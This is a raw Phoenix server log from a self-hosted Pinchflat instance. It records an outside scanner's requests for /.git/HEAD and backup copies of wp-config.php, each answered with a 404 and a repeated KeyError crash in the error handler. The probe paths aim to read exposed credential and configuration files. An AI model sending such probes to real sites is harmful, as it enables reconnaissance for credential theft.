"pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21504.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53638}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21505.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfeMng0f5IFsACMWB"} ], scheme: :http, script_name: [], (truncated) 15:40:19.535 [info] GET /wp-config.php.bak 15:40:19.535 [debug] QUERY OK source="settings" db=0.1ms idle=490.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:19.535 [debug] QUERY OK source="settings" db=0.0ms idle=478.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:19.535 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:19.535 [error] #PID<0.21507.0> running PinchflatWeb.Endpoint (connection #PID<0.21506.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /wp-config.php.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21506.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53642}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21507.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAffj9O0BVtlcACMWh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21506.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53642}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21506.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.bak", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53642}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21507.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAffj9O0BVtlcACMWh"} (truncated) 15:40:19.926 [info] GET /wp-config.php.old 15:40:19.926 [debug] QUERY OK source="settings" db=0.2ms idle=869.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:19.926 [debug] QUERY OK source="settings" db=0.0ms idle=757.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:19.926 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:19.926 [error] #PID<0.21509.0> running PinchflatWeb.Endpoint (connection #PID<0.21508.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /wp-config.php.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21508.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53648}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21509.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfhBLnt0EjsAACMXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21508.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53648}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21508.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.old", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53648}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21509.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfhBLnt0EjsAACMXB"} (truncated) 15:40:20.370 [info] GET /wp-config.php.txt 15:40:20.371 [debug] QUERY OK source="settings" db=0.1ms idle=835.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:20.371 [debug] QUERY OK source="settings" db=0.0ms idle=835.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:20.371 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:20.371 [error] #PID<0.21511.0> running PinchflatWeb.Endpoint (connection #PID<0.21510.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /wp-config.php.txt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21510.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.txt", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53654}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21511.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfirNrKIxeHYACMXh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21510.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.txt", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53654}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21510.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.txt", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53654}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21511.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.txt", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfirNrKIxeHYACMXh"} (truncated) 15:40:20.927 [info] GET /wp-config.php.save 15:40:20.927 [debug] QUERY OK source="settings" db=0.1ms idle=1000.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:20.927 [debug] QUERY OK source="settings" db=0.0ms idle=1000.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:20.927 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:20.928 [error] #PID<0.21513.0> running PinchflatWeb.Endpoint (connection #PID<0.21512.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /wp-config.php.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21512.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.save", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53656}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21513.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfkv3QSsoNe0ACMYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21512.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.save", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53656}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => 